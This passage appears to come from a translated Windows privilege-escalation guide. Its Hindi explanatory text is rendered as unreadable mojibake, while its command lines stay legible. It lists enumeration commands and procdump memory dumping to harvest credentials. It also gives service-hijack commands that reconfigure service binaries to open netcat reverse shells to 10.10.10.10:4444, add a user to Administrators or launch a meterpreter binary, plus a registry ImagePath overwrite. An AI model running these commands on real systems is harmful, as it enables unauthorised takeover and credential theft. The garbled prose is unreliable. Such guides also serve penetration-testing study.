рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ ACLs рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреА рдЧрдИ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдЕрдзрд┐рдХреГрдд рд╣реЛрдиреЗ рдкрд░ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб рджреЗрдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

LAPS

WDigest

рдпрджрд┐ рд╕рдХреНрд░рд┐рдп рд╣реИ, рддреЛ рд╕рд╛рджрд╛-рдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб LSASS (рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЙрдкрдкреНрд░рдгрд╛рд▓реА рд╕реЗрд╡рд╛) рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред WDigest рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рдкреГрд╖реНрда рдкрд░.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA рд╕реБрд░рдХреНрд╖рд╛

Windows 8.1 рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, Microsoft рдиреЗ рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг (LSA) рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢ рдХреА рд╣реИ рддрд╛рдХрд┐ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЗрд╕рдХреЗ рдореЗрдореЛрд░реА рдХреЛ рдкрдврд╝рдиреЗ рдпрд╛ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред LSA рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard рдХреЛ Windows 10 рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдПрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдкрд╛рд╕-рде-рд╣реИрд╢ рд╣рдорд▓реЛрдВ рдЬреИрд╕реЗ рдЦрддрд░реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рдЦрдирд╛ рд╣реИред| Credentials Guard рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБред

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг (LSA) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдШрдЯрдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬрдм рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рдбреЗрдЯрд╛ рдХреЛ рдПрдХ рдкрдВрдЬреАрдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкреИрдХреЗрдЬ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЖрдорддреМрд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред Cached Credentials рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Users & Groups

Enumerate Users & Groups

рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЬрд┐рди рд╕рдореВрд╣реЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЙрдирдореЗрдВ рдХреЛрдИ рджрд┐рд▓рдЪрд╕реНрдк рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privileged groups

рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИрдВ, рддреЛ рдЖрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ рдпрд╣рд╛рдБ:

Privileged Groups

Token manipulation

рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ рдХрд┐ token рдХреНрдпрд╛ рд╣реИ рдЗрд╕ рдкреГрд╖реНрда рдкрд░: Windows Tokens. рджрд┐рд▓рдЪрд╕реНрдк tokens рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:

Abusing Tokens

Logged users / Sessions

qwinsta
klist sessions

рд╣реЛрдо рдлрд╝реЛрд▓реНрдбрд░

dir C:\Users
Get-ChildItem C:\Users

рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐

net accounts

рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

powershell -command "Get-Clipboard"

рдЪрд▓ рд░рд╣реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ

рдлрд╝рд╛рдЗрд▓ рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рддреЗ рд╕рдордп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдХреЗ рдЕрдВрджрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХреБрдЫ рдмрд╛рдЗрдирд░реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдмрд╛рдЗрдирд░реА рдлрд╝реЛрд▓реНрдбрд░ рдХреА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рдВрднрд╛рд╡рд┐рдд DLL Hijacking рд╣рдорд▓реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

рд╣рдореЗрд╢рд╛ рд╕рдВрднрд╛рд╡рд┐рдд electron/cef/chromium debuggers рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ, рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ.

рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмрд╛рдЗрдирд░реА рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмрд╛рдЗрдирд░реА рдХреЗ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

рдЖрдк procdump рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЪрд▓ рд░рд╣реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдореЗрдореЛрд░реА рдбрдВрдк рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред FTP рдЬреИрд╕реА рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рд╕реНрдореГрддрд┐ рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╣реЛрддреЗ рд╣реИрдВ, рдореЗрдореЛрд░реА рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдФрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдкрдврд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред

procdump.exe -accepteula -ma <proc_name_tasklist>

рдЕрд╕реБрд░рдХреНрд╖рд┐рдд GUI рдРрдкреНрд╕

SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ CMD рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдпрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрджрд╛рд╣рд░рдг: "Windows Help and Support" (Windows + F1), "command prompt" рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ, "Command Prompt рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ

рд╕реЗрд╡рд╛рдПрдБ

рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

net start
wmic service list brief
sc query
Get-Service

Permissions

рдЖрдк sc рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕реЗрд╡рд╛ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

sc qc <service_name>

рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕реНрддрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Sysinternals рд╕реЗ рдмрд╛рдЗрдирд░реА accesschk рд╣реЛред

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ "рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛" рдХрд┐рд╕реА рд╕реЗрд╡рд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

рдЖрдк accesschk.exe рдХреЛ XP рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

рд╕реЗрд╡рд╛ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ

рдпрджрд┐ рдЖрдкрдХреЛ рдпрд╣ рддреНрд░реБрдЯрд┐ рдорд┐рд▓ рд░рд╣реА рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SSDPSRV рдХреЗ рд╕рд╛рде):

рд╕рд┐рд╕реНрдЯрдо рддреНрд░реБрдЯрд┐ 1058 рд╣реБрдИ рд╣реИ. рд╕реЗрд╡рд╛ рд╢реБрд░реВ рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреА, рдпрд╛ рддреЛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рд╕рд╛рде рдХреЛрдИ рд╕рдХреНрд╖рдо рдЙрдкрдХрд░рдг рдирд╣реАрдВ рд╣реИред

рдЖрдк рдЗрд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

рдпрд╣ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВ рдХрд┐ рд╕реЗрд╡рд╛ upnphost SSDPSRV рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ (XP SP1 рдХреЗ рд▓рд┐рдП)

рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдПрдХ рдФрд░ рд╕рдорд╛рдзрд╛рди рдпрд╣ рд╣реИ рдХрд┐ рдЪрд▓рд╛рдПрдБ:

sc.exe config usosvc start= auto

рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдкрде рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ

рдЙрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рдЬрд╣рд╛рдВ "рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛" рд╕рдореВрд╣ рдХреЗ рдкрд╛рд╕ рдПрдХ рд╕реЗрд╡рд╛ рдкрд░ SERVICE_ALL_ACCESS рд╣реИ, рд╕реЗрд╡рд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред sc рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

рд╕реЗрд╡рд╛ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВ

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privileges рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • SERVICE_CHANGE_CONFIG: рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреА рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

  • WRITE_DAC: рдЕрдиреБрдорддрд┐ рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдорд┐рд▓рддреА рд╣реИред

  • WRITE_OWNER: рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдЕрдзрд┐рдЧреНрд░рд╣рдг рдФрд░ рдЕрдиреБрдорддрд┐ рдкреБрдирдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

  • GENERIC_WRITE: рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддрд╛ рд╣реИред

  • GENERIC_ALL: рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рднреА рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддрд╛ рд╣реИред

рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП, exploit/windows/local/service_permissions рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Services binaries рдХрдордЬреЛрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЙрд╕ рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╕реЗрд╡рд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИ рдпрд╛ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ рдЬрд╣рд╛рдБ рдмрд╛рдЗрдирд░реА рд╕реНрдерд┐рдд рд╣реИ (DLL Hijacking). рдЖрдк wmic (system32 рдореЗрдВ рдирд╣реАрдВ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд░ рдмрд╛рдЗрдирд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╕реЗрд╡рд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИ рдФрд░ рдЕрдкрдиреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП icacls рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

рдЖрдк sc рдФрд░ icacls рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry modify permissions

рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рд╕реЗрд╡рд╛ рд░рдЬрд┐рд╕реНрдЯреНрд░реНрд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдПрдХ рд╕реЗрд╡рд╛ рд░рдЬрд┐рд╕реНрдЯреНрд░реНрд░реА рдкрд░ рдЕрдкрдиреА рдЕрдиреБрдорддрд┐ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ Authenticated Users рдпрд╛ NT AUTHORITY\INTERACTIVE рдХреЗ рдкрд╛рд╕ FullControl рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред рдпрджрд┐ рд╣рд╛рдБ, рддреЛ рд╕реЗрд╡рд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдмрд╛рдЗрдирд░реА рдХреЛ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдмрд╛рдЗрдирд░реА рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдкрде рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрд░ рдпрд╣ рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдЙрдк рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред Windows рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

